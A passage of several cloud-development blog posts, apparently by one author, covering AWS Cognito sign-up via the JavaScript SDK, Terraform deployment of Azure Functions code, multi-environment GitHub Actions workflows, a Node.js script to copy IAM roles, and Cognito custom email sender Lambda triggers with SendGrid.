  message: 'Unable to verify secret hash for client 5cdgugg1eko9cm7u1u3spnaf37'
}

Cognito AWS SDK

AWS SDK is as close to the cloud resources as you can get. It exposes all of the operations you can run in AWS. There are 2 versions of the AWS SDK in use currently: v2 and v3, and the way you import and use these differs. Examples below use v3 since it's already generally available.

Does it work in the backend? Absolutely.
On the frontend, you're probably better off using higher-level Amplify or amazon-cognito-identity-js since they provide better developer experience.
Unlike 2 libraries above, AWS SDK supports secret-enabled Cognito app clients. "Generate client secret" can be checked in the app client settings.
You can use admin-level Cognito APIs. Make sure AWS credentials (access key ID and secret key) are available in the code.

When to use AWS SDK: when you need to access protected Cognito APIs that require developer credentials. AWS SDK is the way to go if you need communicate with a secret-enabled Cognito app client.

Use AWS SDK v3 on the server

The code below features an example usage of AWS SDK to create a new Cognito user with a request signed with the client secret.

import { CognitoIdentityProvider } from '@aws-sdk/client-cognito-identity-provider'

import crypto from 'crypto'

const clientId = '5cdgugg1eko9cm7u1u3spnaf37'
const clientSecret = '7j3v7ag5avt2pegj45lad3f7f0lpdikhm2o6oiae9arii1pbqn0'
const email = 'max@maxivanov.io'
const password = '12345678'

;(async () => {
  var params = {
    ClientId: clientId,
    Password: password,
    Username: email,
    SecretHash: hashSecret(clientSecret, email, clientId),
    UserAttributes: [
      {
        Name: 'email',
        Value: email,
      },
    ],
  }

  const provider = new CognitoIdentityProvider({ region: 'us-east-1' })

  try {
    const res = await provider.signUp(params)
    console.log('Signup success. Result: ', res)
  } catch (e) {
    console.log('Signup fail. Error: ', e)
  }
})()

function hashSecret(clientSecret, username, clientId) {
  return crypto
    .createHmac('SHA256', clientSecret)
    .update(username + clientId)
    .digest('base64')
}

API response example (res variable in the code above):

{
  "$metadata": {
    "httpStatusCode": 200,
    "requestId": "64abc24c-1ff6-451e-a335-a61f89813acd",
    "attempts": 1,
    "totalRetryDelay": 0
  },
  "CodeDeliveryDetails": {
    "AttributeName": "email",
    "DeliveryMedium": "EMAIL",
    "Destination": "m***@m***.io"
  },
  "UserConfirmed": false,
  "UserSub": "3c434ca4-14f9-4549-97f9-88b549a9b1e7"
}

Use AWS SDK v3 in the browser

import { CognitoIdentityProvider } from '@aws-sdk/client-cognito-identity-provider'

const region = 'us-east-1'
const clientId = '658l7npr63jq5ohbk2gl2jvf6'

;(async () => {
  const form = document.querySelector('.form')
  const email = document.querySelector('.email')
  const password = document.querySelector('.password')
  const provider = new CognitoIdentityProvider({ region })

  form.addEventListener('submit', async (event) => {
    event.preventDefault()

    var params = {
      ClientId: clientId,
      Password: password.value,
      Username: email.value,
      UserAttributes: [
        {
          Name: 'email',
          Value: email.value,
        },
      ],
    }

    try {
      const res = await provider.signUp(params)
      console.log('Signup success. Result: ', res)
    } catch (e) {
      console.log('Signup fail. Error: ', e)
    }
  })
})()

API response will be identical to the one for requests originating from the server.

AWS SDK HTTP request and response headers:

HTTP request body:

{
  "ClientId": "658l7npr63jq5ohbk2gl2jvf6",
  "Password": "12345678",
  "UserAttributes": [
    {
      "Name": "email",
      "Value": "max@maxivanov.io"
    }
  ],
  "Username": "max@maxivanov.io"
}

HTTP response body:

{
  "CodeDeliveryDetails": {
    "AttributeName": "email",
    "DeliveryMedium": "EMAIL",
    "Destination": "m***@m***.io"
  },
  "UserConfirmed": false,
  "UserSub": "25f09095-ac18-4f1f-ac26-4c4039841cc1"
}

You can see the JSON passed in the HTTP request and response is identical to those in the Amplify example. Which makes sense, since in the end all of the tools communicate with the AWS HTTP API.

References

...

You have 3 tools to work with Cognito in JavaScript. Assess the requirements and make the right choice!

If you like this type of content you can follow me on Twitter for the latest updates.

Deploy Azure Functions code with Terraform

Max Ivanov — Sun, 28 Mar 2021 02:44:46 +0000

For a step by step guide on provisioning cloud resources needed to run Azure Functions, check Deploy Azure Functions with Terraform.

This post focuses on how you can publish code to a function app with Terraform. Here, the deployed app is a hello-world Node.js function, but the process is language-agnostic.

Using a package file is the recommended way to run Azure Functions. When new code is uploaded, the switch is atomic (i.e. safe). Performance is better and cold starts are faster. It's easy to rollback to a previous deployment by pointing to the corresponding package.

There are 2 modes of package deployment: url and app service. We will see the benefits and limitations of both as well as how to implement them with Terraform.

Code for Linux/Windows + Consumption/Premium configurations in Github.

Deploy from Package

In a nutshell, deploying from package means taking a package (zip file) and mounting its content to the read-only /home/site/wwwroot directory.

Source package can be stored in a remote storage or be uploaded to the app service, in the /home/data/SitePackages directory.

Deployment mode is dictated by the WEBSITE_RUN_FROM_PACKAGE app setting.

Package in a remote storage

Storage can be anything, as long as the package can be downloaded by the app service at runtime. That highlights a downside of this option - whenever the app is restarted, its zip has to be re-downloaded from the storage.

The most common approach is to host the package in a Blob Storage and generate a SAS URL, granting limited access to the package via the function app configuration:

WEBSITE_RUN_FROM_PACKAGE = URL with SAS

That's another inconvenince of this deployment method:

there's now a secret in the app settings to manage (can leak through configuration/state/app code) AND
the SAS token may expire (the app won't be able to download the package and will fail to start)

Also documentation states:

When running a function app on Windows, the external URL option yields worse cold-start performance. When deploying your function app to Windows, you should set WEBSITE_RUN_FROM_PACKAGE to 1 and publish with zip deployment.

On a good side, running from a package URL is well-supported by both Linux and Windows environments in both Consumption and Premium plans.

Package in app service

At deployment time, the package is uploaded to the /home/data/SitePackages directory. This directory also has a packagename.txt file which contains nothing but the name of the package that's currently in use. You can update the file manually to point to a different package and the function app will restart shortly and will use that package's code.

To upload the package to app service, you should use the Zip Deployment strategy combined with the app setting:

WEBSITE_RUN_FROM_PACKAGE = 1

Without the app setting, zip deploy will simply extract the package to the /home/site/wwwroot directory loosing all benefits of run-from-package deployment.

Since there's no need to download the package over the network when the function app starts, it should result in faster cold starts.

Note that as of March 2021, WEBSITE_RUN_FROM_PACKAGE = 1 is still not supported in Linux Consumption. Windows hosts and Linux Premium work fine with it though.

Deploy code with Terraform

To keep the post short I assume you have the basic Azure Functions Terraform script ready (as per this post).

Alternatively, refer to this post's companion repository for full configuration example in different environments.

Now we can focus on what it takes to publish/upload the code to Azure.

`WEBSITE_RUN_FROM_PACKAGE = <url>`

There's a great article by Adrian Hall which describes the process of deploying the code from Azure Storage.

I wanted to revisit the solution to highlight newer azurerm_storage_account_blob_container_sas Terraform resource as well as suggest compressing the code with Terraform without relying on npm. Simpler functions may not even use external modules, so it's good to not have Node.js and NPM as dependencies in the deployment environment.

For both deployment modes, we need to compress the function code for it to be uploaded. For this, we can use the archive_file data type.

data "archive_file" "file_function_app" {
  type        = "zip"
  source_dir  = "../function-app"
  output_path = "function-app.zip"
}

Upload the archive to the Azure Storage Blob:

resource "azurerm_storage_blob" "storage_blob" {
  name = "${filesha256(var.archive_file.output_path)}.zip"
  storage_account_name = azurerm_storage_account.storage_account.name
  storage_container_name = azurerm_storage_container.storage_container.name
  type = "Block"
  source = var.archive_file.output_path
}

Create a read-only SAS for the Blob. Mind the expiration date - past the date the function app scale out/restart operations will fail as the packge link won't work anymore. Using the Service SAS is optimal here, as it provides limited access compared to the Account SAS generated by azurerm_storage_account_sas.

data "azurerm_storage_account_blob_container_sas" "storage_account_blob_container_sas" {
  connection_string = azurerm_storage_account.storage_account.primary_connection_string
  container_name    = azurerm_storage_container.storage_container.name

  start = "2021-01-01T00:00:00Z"
  expiry = "2022-01-01T00:00:00Z"

  permissions {
    read   = true
    add    = false
    create = false
    write  = false
    delete = false
    list   = false
  }
}

Finally, provide full package URL in the WEBSITE_RUN_FROM_PACKAGE app setting:

resource "azurerm_function_app" "function_app" {
  name                       = "${var.project}-function-app"
  resource_group_name        = azurerm_resource_group.resource_group.name
  location                   = var.location
  app_service_plan_id        = azurerm_app_service_plan.app_service_plan.id
  app_settings = {
    "WEBSITE_RUN_FROM_PACKAGE"    = "https://${azurerm_storage_account.storage_account.name}.blob.core.windows.net/${azurerm_storage_container.storage_container.name}/${azurerm_storage_blob.storage_blob.name}${data.azurerm_storage_account_blob_container_sas.storage_account_blob_container_sas.sas}",
    "FUNCTIONS_WORKER_RUNTIME" = "node",
    "AzureWebJobsDisableHomepage" = "true",
  }
  os_type = "linux"
  site_config {
    linux_fx_version          = "node|14"
    use_32_bit_worker_process = false
  }
  storage_account_name       = azurerm_storage_account.storage_account.name
  storage_account_access_key = azurerm_storage_account.storage_account.primary_access_key
  version                    = "~3"
}

That's it. Once you run terraform apply, it will prepare the package, upload it to the storage, generate the link and put it to the app setting. The function app will restart and in a few seconds your app will run the new code.

`WEBSITE_RUN_FROM_PACKAGE = 1`

Prepare the package zip:

data "archive_file" "file_function_app" {
  type        = "zip"
  source_dir  = "../function-app"
  output_path = "function-app.zip"
}

Configure function app using the WEBSITE_RUN_FROM_PACKAGE setting to expect the package in the file system:

resource "azurerm_function_app" "function_app" {
  name                       = "${var.project}-function-app"
  resource_group_name        = azurerm_resource_group.resource_group.name
  location                   = var.location
  app_service_plan_id        = azurerm_app_service_plan.app_service_plan.id
  app_settings = {
    "WEBSITE_RUN_FROM_PACKAGE" = "1",
    "FUNCTIONS_WORKER_RUNTIME" = "node",
    "AzureWebJobsDisableHomepage" = "true",
  }
  os_type = "linux"
  site_config {
    linux_fx_version          = "node|14"
    use_32_bit_worker_process = false
  }
  storage_account_name       = azurerm_storage_account.storage_account.name
  storage_account_access_key = azurerm_storage_account.storage_account.primary_access_key
  version                    = "~3"
}

The code will be pushed to the function app with Azure CLI command:

locals {
    publish_code_command = "az webapp deployment source config-zip --resource-group ${azurerm_resource_group.resource_group.name} --name ${azurerm_function_app.function_app.name} --src ${var.archive_file.output_path}"
}

We use null_resource to run the publish command. Note it will be triggered every time the contents of the package file changes. If there's no change, the code won't be uploaded (makes sense!).

resource "null_resource" "function_app_publish" {
  provisioner "local-exec" {
    command = local.publish_code_command
  }
  depends_on = [local.publish_code_command]
  triggers = {
    input_json = filemd5(var.archive_file.output_path)
    publish_code_command = local.publish_code_command
  }
}

As you can see this method is simpler and as we discussed earlier it results in faster cold starts. So if you're not running on Linux Consumption, use this approach.

References

...

Deploy Azure Functions resources as well as code with Terraform when you don't want extra dependencies used just for publishing.

If you like this type of content you can follow me on Twitter for the latest updates.

Github Actions: deploy to multiple environments from single workflow

Max Ivanov — Mon, 22 Mar 2021 01:49:13 +0000

Github Actions is awesome and you can automate so much with it. One lacking feature though is support for code reuse in workflow yaml files.

One particular use case where it would be useful is continuous deployment workflow that publishes latest code to the remote system. Deployment target is dictated by the git branch that receives the update.

E.g. pushes to dev branch should deploy to the staging environment and pushes to master should publish the code to prod.

Here's a workaround to deploy to multiple environments from a single workflow yaml file.

Example workflow file

As an example, I'll take a Github Action that deploys an Azure Function app.

In order to publish code to Azure, it expects 2 variables: function app name and publish profile (deployment key).

Each environment has its own publish profile defined in an individual Github Repository Secret.

Below is the relevant parts of the workflow yaml. You can see it in full here.

First, we want to trigger the workflow only on branches that should be deployed on commit:

on:
  push:
    branches:
      - dev
      - master

Next, in the very beginning of the workflow definition, we add conditional steps to set correct environment variables, depending on the current branch:

Function app name
Publish profile secret name

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Set env vars (dev)
        if: endsWith(github.ref, '/dev')
        run: |
          echo "AZURE_FUNCTIONAPP_NAME=azfunccdgh-dev-function-app" >> $GITHUB_ENV
          echo "PUBLISH_PROFILE_VAR_NAME=AZURE_FUNCTIONAPP_PUBLISH_PROFILE_DEV" >> $GITHUB_ENV
      - name: Set env vars (prod)
        if: endsWith(github.ref, '/master')
        run: |
          echo "AZURE_FUNCTIONAPP_NAME=azfunccdgh-prod-function-app" >> $GITHUB_ENV
          echo "PUBLISH_PROFILE_VAR_NAME=AZURE_FUNCTIONAPP_PUBLISH_PROFILE_PROD" >> $GITHUB_ENV

Following would be the steps that are shared between environments. These are not relevant to the multi-env deployment and are not listed here. In my case it's checking out the code, caching, installing dependencies and building the project.

Finally, the deployment step uses the environment variables set above to publish the code to the correct target environment.

      - name: Run Azure Functions action
        uses: Azure/functions-action@v1
        id: fa
        with:
          app-name: ${{ env.AZURE_FUNCTIONAPP_NAME }}
          package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
          publish-profile: ${{ secrets[env.PUBLISH_PROFILE_VAR_NAME] }}
          respect-funcignore: true

References

...

Still, this is a hack I'm not very happy about but I feel like it's better than having copies of the entire workflow file per environment.

If you know a better way to deploy to multiple environments from Github Actions, let me know!

If you like this type of content you can follow me on Twitter for the latest updates.

How to make a copy of AWS IAM role

Max Ivanov — Mon, 15 Mar 2021 21:28:06 +0000

It may happen that you need to make a copy of an IAM role in AWS. Maybe you want to experiment with changing role's permission scope but you don't want to touch the role that is currently in use.

One way to approach it is to duplicate the existing role along with all its policies, make the needed change on the new role and run your tests.

There's no aws iam copy-role command though... So your only option is to duplicate the role and its associated policies manually or to script the process.

Here's an implementation of such a script in Node.js. It will make a copy of the role with its trust relationship policy, inline policies and managed polcies (both AWS- and customer-managed).

You can find the code in the repository.

Prerequisites

You need Node.js to run the script.

node --version
v14.15.5 # also tested with v12.21.0

If you don't have Node installed locally, you can run the script in Docker:

docker run -it --rm -v $(pwd):/var/app -w /var/app node:14-alpine sh

export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...

Usage

npm install

To copy a role, pass source and target role names (not ARNs) to the script:

node copy-role.js SOURCE_ROLE_NAME TARGET_ROLE_NAME

Example output:

/var/app # node copy-role.js copy-role-poc copy-role-poc-target-role

--> Parsing arguments from command line...
<-- Arguments loaded. Source role name: copy-role-poc, target role name: copy-role-poc-target-role

--> Checking if AWS credentials are loaded...
<-- Credentials found.

--> Fetching source role...
<-- Source role loaded.

--> Fetching inline policies for the role...
<-- Loaded 2 inline policy names.
--> Fetching inline policies...
<-- Loaded inline policies.

--> Fetching managed policies for the role...
<-- Loaded 2 managed policies.

--> Creating a new role copy-role-poc-target-role...
<-- Created role copy-role-poc-target-role.

--> Adding inline policies to copy-role-poc-target-role...
<-- Added 2 inline policies.

--> Adding managed policies to copy-role-poc-target-role...
<-- Added 2 managed policies.

Implementation details

You can inspect the code in the repository if you wish. In a nutshell it uses AWS JavaScript SDK to do the following:

Fetch the source role along with its trust relationship policy
Fetch inline policies of the source role
Fetch managed policies of the source role (both AWS- and customer-created)
Create a new role copying over all relevant properties (Path, AssumeRolePolicyDocument, Description, MaxSessionDuration, PermissionsBoundary, Tags)
Add all inline policies found in the source role to the new role
Attach all managed policies from the source role

The process is quite straightforward... The only interesting detail is steps 2 and 3 require recursive fetch to accomodate the fact that policies response can be paginated.

AWS SDK APIs used:

getRole()
listRolePolicies()
getRolePolicy()
listAttachedRolePolicies()
createRole()
putRolePolicy()
attachRolePolicy()

Finally, it was a chance to add some ASCII art:

References

...

Automate once and use forever they say. Honestly I only needed to use it once so far... 🙃

Can I put it as automate once and share for everyone to use? That makes more sense hopefully!

If you like this type of content you can follow me on Twitter for the latest updates.

Send AWS Cognito emails with 3rd party ESPs

Max Ivanov — Wed, 10 Mar 2021 02:21:24 +0000

In AWS Cognito, the default method of sending emails and SMS messages is AWS' own services: SES and SNS correspondingly.

Usually it makes sense, you're already in the AWS ecosystem anyway... But what if you have a requirement to use a 3rd party ESP (Email Service Provider), like Twilio Sendgrid or Mailgun/Sendinblue/Mailchimp? Some of the reasons could be:

Designers need easy access to the email templates in the ESP UI
Users need a way to unsubscribe from the emails they receive (subscription status tracked by the ESP)
Your company relies on analytics tools provided by ESPs which you wouldn't have with SES
The email template is large (html and css-wise) and it doesn't fit into Cognito's 20k characters limit
You do not want to (additionally) authenticate SES origin (SPF, DKIM, DMARC)
You want to reuse high-reputation IP addresses managed by the ESP

There's a Custom message Lambda trigger (e.g. invoked by CustomMessage_ForgotPassword user action) but it will only allow you to customize the email subject and body, not change the underlying transport.

Sometime late 2020, AWS added a new type of Lambda trigger to Cognito: Custom Sender Lambda Triggers.

Cognito documentation is a bit lacking... The code is not copypastable and some steps in the instructions are missing.
Furthermore it doesn't show how to configure custom email and SMS senders with infrastructure as code.

Below is a guide to deploying and using these new Cognito Lambda triggers.
We will see how to deploy them with Cloudformation and Terraform.

Custom sender Lambda triggers

More specifically, there are 2 new triggers:

CustomEmailSender to override the default (SES) way of sending emails
CustomSMSSender when you need to use an external service for text messages instead of SNS

In this post we will focus on the custom email sender Lambda, but the process for custom SMS sender is identical.

The parameters these Lambda triggers receive from Cognito are a bit different from what Custom Message Trigger gets. With CustomMessage_* triggers no secrets are passed to the code. Instead, you get a placeholder string that you put in the right place in the email or SMS to be sent. That placeholder gets replaced with the code by Cognito right before the notification is sent.

Custom sender triggers on the other hand receive encrypted notification code. Thus we will need to set up a KMS key - for Cognito to encrypt the codes and for us to decrypt them in the function code.

How are new triggers supported by the tooling?

Cognito Console doesn't let you configure the triggers yet
Cognito documentation suggests using AWS CLI to configure triggers
CloudFormation docs say the feature is not yet supported. From my tests it worked, probably the docs are not updated yet
Terraform does not yet support it but there's a workaround

Send Cognito emails with Twilio Sendgrid

For the demo, we will register a new user in Cognito and will make sure the email is sent with Sendgrid.

Prerequisites to follow along:

AWS account
Sendgrid account (or whichever ESP you're using)
Docker

That's right, no AWS CLI, no Node.js, Docker is the only dev dependency. What a beautiful time to be a developer in!

Since this is not a tutorial on how to deploy Cognito, I will focus only on parts relevant to the custom sender triggers.

You can find full code with all resources defined in CloudFormation and Terraform in the demo repository.

Create KMS key

As mentioned above we need a key to encrypt/decrypt the notification code. The key policy matches the default permissions for a new KMS key when it is created with AWS Console.

CloudFormation

Parameters:
  ...
  CallingUserArn:
    Description: Calling user ARN
    Type: String

Resources:
  ...
  KmsKey:
    Type: AWS::KMS::Key
    Properties:
      Enabled: true
      KeyPolicy:
        Version: '2012-10-17'
        Statement:
        - Effect: Allow
          Principal:
            AWS: !Sub 'arn:aws:iam::${AWS::AccountId}:root'
          Action: 'kms:*'
          Resource: '*'
        - Effect: Allow
          Principal:
            AWS: !Ref CallingUserArn
          Action:
            - "kms:Create*"
            - "kms:Describe*"
            - "kms:Enable*"
            - "kms:List*"
            - "kms:Put*"
            - "kms:Update*"
            - "kms:Revoke*"
            - "kms:Disable*"
            - "kms:Get*"
            - "kms:Delete*"
            - "kms:TagResource"
            - "kms:UntagResource"
            - "kms:ScheduleKeyDeletion"
            - "kms:CancelKeyDeletion"
          Resource: '*'

CallingUserArn parameter is a little trick to pass calling IAM user's ARN to CloudFormation:

aws cloudformation deploy ... --parameter-overrides CallingUserArn="$(aws sts get-caller-identity --query Arn --output text)"

Terraform

data "aws_caller_identity" "current" {}

resource "aws_kms_key" "kms_key" {
  description             = "KMS key for Cognito Lambda trigger"
  policy = <<EOF
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::${data.aws_caller_identity.current.account_id}:root"
            },
            "Action": "kms:*",
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "${data.aws_caller_identity.current.arn}"
            },
            "Action": [
                "kms:Create*",
                "kms:Describe*",
                "kms:Enable*",
                "kms:List*",
                "kms:Put*",
                "kms:Update*",
                "kms:Revoke*",
                "kms:Disable*",
                "kms:Get*",
                "kms:Delete*",
                "kms:TagResource",
                "kms:UntagResource",
                "kms:ScheduleKeyDeletion",
                "kms:CancelKeyDeletion"
            ],
            "Resource": "*"
        }
    ]
}
EOF
}

Create Lambda IAM role

Besides the standard AWSLambdaBasicExecutionRole managed policy, we need to grant Lambda access to decrypt our KMS key.
Note you probably want to replace AWSLambdaBasicExecutionRole with a fine-grained policy so that it has the least required privileges.

For both CF and TF scripts, the outcome is the same: a role for the Lambda trigger with 2 policies attached.

CloudFormation

Resources:
  ...
  LambdaTriggerRole:
    Type: AWS::IAM::Role
    Properties:
      AssumeRolePolicyDocument:
        Version: "2012-10-17"
        Statement:
          - Effect: Allow
            Action: "sts:AssumeRole"
            Principal:
              Service: "lambda.amazonaws.com"
      ManagedPolicyArns:
        - arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole

  LambdaTriggerRoleKmsPolicy:
    Type: AWS::IAM::Policy
    Properties:
      PolicyDocument:
        Version: "2012-10-17"
        Statement:
          - Effect: "Allow"
            Action:
              - "kms:Decrypt"
            Resource: !GetAtt KmsKey.Arn
      PolicyName: "LambdaKmsPolicy"
      Roles:
        - !Ref LambdaTriggerRole

Terraform

data "aws_iam_policy_document" "AWSLambdaTrustPolicy" {
  version = "2012-10-17"
  statement {
    actions    = ["sts:AssumeRole"]
    effect     = "Allow"
    principals {
      type        = "Service"
      identifiers = ["lambda.amazonaws.com"]
    }
  }
}

resource "aws_iam_role" "iam_role" {
  assume_role_policy = data.aws_iam_policy_document.AWSLambdaTrustPolicy.json
  name = "${var.project}-iam-role-lambda-trigger"
}

resource "aws_iam_role_policy_attachment" "iam_role_policy_attachment_lambda_basic_execution" {
  role       = aws_iam_role.iam_role.name
  policy_arn = "arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole"
}

data "aws_iam_policy_document" "iam_policy_document_lambda_kms" {
  version = "2012-10-17"
  statement {
    actions    = ["kms:Decrypt"]
    effect     = "Allow"
    resources = [
        aws_kms_key.kms_key.arn
    ]
  }
}

resource "aws_iam_role_policy" "iam_role_policy_lambda_kms" {
  name   = "${var.project}-iam-role-policy-lambda-kms"
  role   = aws_iam_role.iam_role.name
  policy = data.aws_iam_policy_document.iam_policy_document_lambda_kms.json
}

Create Lambda function (Node.js code)

Unlike the AWS SDK itself, @aws-crypto/client-node encryption library has to be packaged and deployed with the code. If you don't have Node.js installed locally, you can install dependencies with Docker. Assuming you're in the cloned repo:

cd lambda/

docker run -it --rm -v $(pwd):/var/app node:12 bash

npm i

The function code:

const AWS = require('aws-sdk')
const b64 = require('base64-js')
const encryptionSdk = require('@aws-crypto/client-node')
const sgMail = require("@sendgrid/mail")

const { decrypt } = encryptionSdk.buildClient(encryptionSdk.CommitmentPolicy.REQUIRE_ENCRYPT_ALLOW_DECRYPT)
const keyIds = [process.env.KEY_ID];
const keyring = new encryptionSdk.KmsKeyringNode({ keyIds })

sgMail.setApiKey(process.env.SENDGRID_API_KEY)

exports.handler = async(event) => {
  let plainTextCode
  if (event.request.code) {
    const { plaintext, messageHeader } = await decrypt(keyring, b64.toByteArray(event.request.code))
    plainTextCode = plaintext
  }

  const msg = {
    to: event.request.userAttributes.email,
    from: "cognito-test@maxivanov.io",
    subject: "Your Cognito code",
    text: `Your code: ${plainTextCode.toString()}`,
  }

  await sgMail.send(msg)      
}

It expects the KMS key ARN and ESP API key to be passed as environment variables. The notification code is decrypted and can be used in the message body sent to the email provider API for delivery.

Example event object passed to the function:

{
    "version": "1",
    "triggerSource": "CustomEmailSender_ForgotPassword",
    "region": "us-east-1",
    "userPoolId": "us-east-1_LnS...",
    "userName": "54cf7eb7-0b96-4304-...",
    "callerContext": {
        "awsSdkVersion": "aws-sdk-nodejs-2.856.0",
        "clientId": "6u7c9vr3pkstoog..."
    },
    "request": {
        "type": "customEmailSenderRequestV1",
        "code": "AYADeILxywKhhaq8Ys4mh0aHutYAgQACABVhd3MtY3J5c...",
        "clientMetadata": null,
        "userAttributes": {
            "sub": "54cf7eb7-0b96-4304-8d6b-...",
            "email_verified": "true",
            "cognito:user_status": "CONFIRMED",
            "cognito:email_alias": "hello@maxivanov.io",
            "phone_number_verified": "false",
            "phone_number": "...",
            "given_name": "Max",
            "family_name": "Ivanov",
            "email": "hello@maxivanov.io"
        }
    }
}

Create Lambda function (infra)

We will define a Node.js Lambda that will be triggered by Cognito each time an email should be sent. It's deployed as a ZIP file. The only part that is unique to the custom senders trigger is the environment variables.

We need a variable for the KMS key ID and another for the email provider API key.

CloudFormation

Parameters:
  ...
  SendgridApiKey:
    Description: Sendgrid API key
    Type: String

Resources:
  ...
  LambdaTrigger:
    Type: AWS::Lambda::Function
    Properties:
      Code: "../lambda"
      Environment:
        Variables:
          KEY_ID: !GetAtt KmsKey.Arn
          SENDGRID_API_KEY: !Ref SendgridApiKey
      FunctionName: !Sub ${ProjectName}-lambda-custom-email-sender-trigger
      PackageType: Zip
      Role: !GetAtt LambdaTriggerRole.Arn
      Runtime: nodejs12.x
      Handler: index.handler

If you're familiar with CloudFormation, there shouldn't be any surprises.

Terraform

data "archive_file" "lambda" {
  type        = "zip"
  source_dir  = "../lambda"
  output_path = "lambda.zip"
}

resource "aws_lambda_function" "lambda_function_trigger" {
  environment {
    variables = {
      KEY_ID = aws_kms_key.kms_key.arn
      SENDGRID_API_KEY = var.sendgrid_api_key
    }
  }
  code_signing_config_arn = ""
  description = ""
  filename         = data.archive_file.lambda.output_path
  function_name    = "${var.project}-lambda-function-trigger"
  role             = aws_iam_role.iam_role.arn
  handler          = "index.handler"
  runtime          = "nodejs12.x"
  source_code_hash = filebase64sha256(data.archive_file.lambda.output_path)
}

Thanks to the source_code_hash, each time the function code is modified, the resource will be marked as changed and the code will get redeployed.

Create Cognito User Pool

This is the most confusing part. We need to set the LambdaConfig setting of the User Pool. It is an object storing configuration of Lambda triggers invoked by Cognito. 2 new options we're interested in are:

CustomEmailSender: { LambdaArn: "...", LambdaVersion: "..." }
KMSKeyID: "..."

The process is straightforward with CloudFormation but requires a workaround in Terraform. Details below.

CloudFormation

The official docs say setting the custom sender options is Not currently supported by AWS CloudFormation. But lucky we, that's not the case. It worked perfectly in multiple tests I ran.

Resources:
  UserPool:
    Type: AWS::Cognito::UserPool
    Properties:
      AccountRecoverySetting:
        RecoveryMechanisms:
          - Name: verified_email
            Priority: 1
      AutoVerifiedAttributes:
        - email
      LambdaConfig:
        CustomEmailSender:
          LambdaArn: !GetAtt LambdaTrigger.Arn
          LambdaVersion: "V1_0"
        KMSKeyID: !GetAtt KmsKey.Arn
      UsernameConfiguration: 
        CaseSensitive: false
      UserPoolName: !Sub ${ProjectName}-user-pool
      UsernameAttributes:
        - email
      Policies:
        PasswordPolicy: 
          MinimumLength: 10
      Schema:
        - Name: name
          AttributeDataType: String
          Mutable: true
          Required: true
        - Name: email
          AttributeDataType: String
          Mutable: true
          Required: true

LambdaConfig: is the part of the most interest above.

Terraform

There's an open issue to track the feature status in Terraform. But what can we do now, before it's available? null_resource can help to pull this off, but still there are some gotchas.

Unlinke the CloudFormation definition, we don't add anything CustomEmailSender-related in the resource definition, so that's your good old Cognito User Pool in Terraform:

resource "aws_cognito_user_pool" "cognito_user_pool" {
  name = "${var.project}-cognito-user-pool"

  account_recovery_setting {
    recovery_mechanism {
      name     = "verified_email"
      priority = 1
    }
  }

  auto_verified_attributes = ["email"]

  password_policy {
    minimum_length                   = 10
    temporary_password_validity_days = 7
    require_lowercase                = false
    require_numbers                  = false
    require_symbols                  = false
    require_uppercase                = false
  }

  schema {
    attribute_data_type      = "String"
    developer_only_attribute = false
    mutable                  = true
    name                     = "email"
    required                 = true

    string_attribute_constraints {
      max_length = "2048"
      min_length = "0"
    }
  }

  schema {
    attribute_data_type      = "String"
    developer_only_attribute = false
    mutable                  = true
    name                     = "name"
    required                 = true

    string_attribute_constraints {
      max_length = "2048"
      min_length = "0"
    }
  }

  username_attributes = ["email"]
  username_configuration {
    case_sensitive = false
  }
}

In order to set the Lambda configuration in the user pool, we will use the aws cognito-idp update-user-pool --lambda-config "CustomEmailSender={LambdaVersion=V1_0,LambdaArn=... AWS CLI command.

The problem is, if you don't pass all the other relevant pool options to this command, they will be reset to the default values. Suggested solution:

1. Deploy Terraform stack without setting the lambda config

2. Generate a skeleton of the input variables expected by the update-user-pool command:

aws cognito-idp update-user-pool --user-pool-id us-east-1_evzTb... --generate-cli-skeleton input

3. Fetch the current configuration of the user pool:

aws cognito-idp describe-user-pool --user-pool-id us-east-1_evzTb... --query UserPool > input.json

4. From the fetched config, remove the keys that are not listed in the skeleton. Only configuration options accepted by the update-user-pool must be left. One can probably come up with a script to do this automatically... but I edited it manually.

5. Add and deploy the new null_resource with Terraform.

locals {
    update_user_pool_command = "aws cognito-idp update-user-pool --user-pool-id ${aws_cognito_user_pool.cognito_user_pool.id} --cli-input-json file://${var.update_user_pool_config_file} --lambda-config \"CustomEmailSender={LambdaVersion=V1_0,LambdaArn=${aws_lambda_function.lambda_function_trigger.arn}},KMSKeyID=${aws_kms_key.kms_key.arn}\""
}

resource "null_resource" "cognito_user_pool_lambda_config" {
  provisioner "local-exec" {
    command = local.update_user_pool_command
  }
  depends_on = [local.update_user_pool_command]
  triggers = {
    input_json = filemd5(var.update_user_pool_config_file)
    update_user_pool_command = local.update_user_pool_command
  }
}

A quick comment on what's happenning here. We define a local value with the update-user-pool command. It accepts the user pool ID, the JSON file with current user pool configuration prepared in step 4., and the lambda config. Terraform null resource executes the command the first time you run apply and every time the command or the config file are updated.

If you get the "Error parsing parameter 'cli-input-json': Invalid JSON received." error, make sure the path to the input parameters json is correct and is prefixed with file://. I.e. --cli-input-json file://${var.update_user_pool_config_file}.

If you get the "Parameter validation failed: Unknown parameter in input: "Id", ..." error, make sure you removed all keys not supported by the update-user-pool from the parameters file.

If you get the "An error occurred (InvalidParameterException) when calling the UpdateUserPool operation: Please use TemporaryPasswordValidityDays in PasswordPolicy instead of UnusedAccountValidityDays" error, remove the AdminCreateUserConfig.UnusedAccountValidityDays setting. It is replaced by Policies.PasswordPolicy.TemporaryPasswordValidityDays.

Make sure it works

Once all the resources are deployed we can register a new user to make sure the email with a code is sent by the ESP.

With CloudFormation you can find out the Cognito User Pool Client ID with

aws cloudformation describe-stacks --stack-name cognito-custom-email-sender-cf-stack --query "Stacks[0].Outputs"

With Terraform, it will be listed in the outputs.

aws cognito-idp sign-up --client-id <CLIENT_ID> --username hello@maxivanov.io --password <PASSOWORD> --user-attributes Name="name",Value="Max Ivanov"
{
    "UserConfirmed": false,
    "CodeDeliveryDetails": {
        "Destination": "h***@m***.io",
        "DeliveryMedium": "EMAIL",
        "AttributeName": "email"
    },
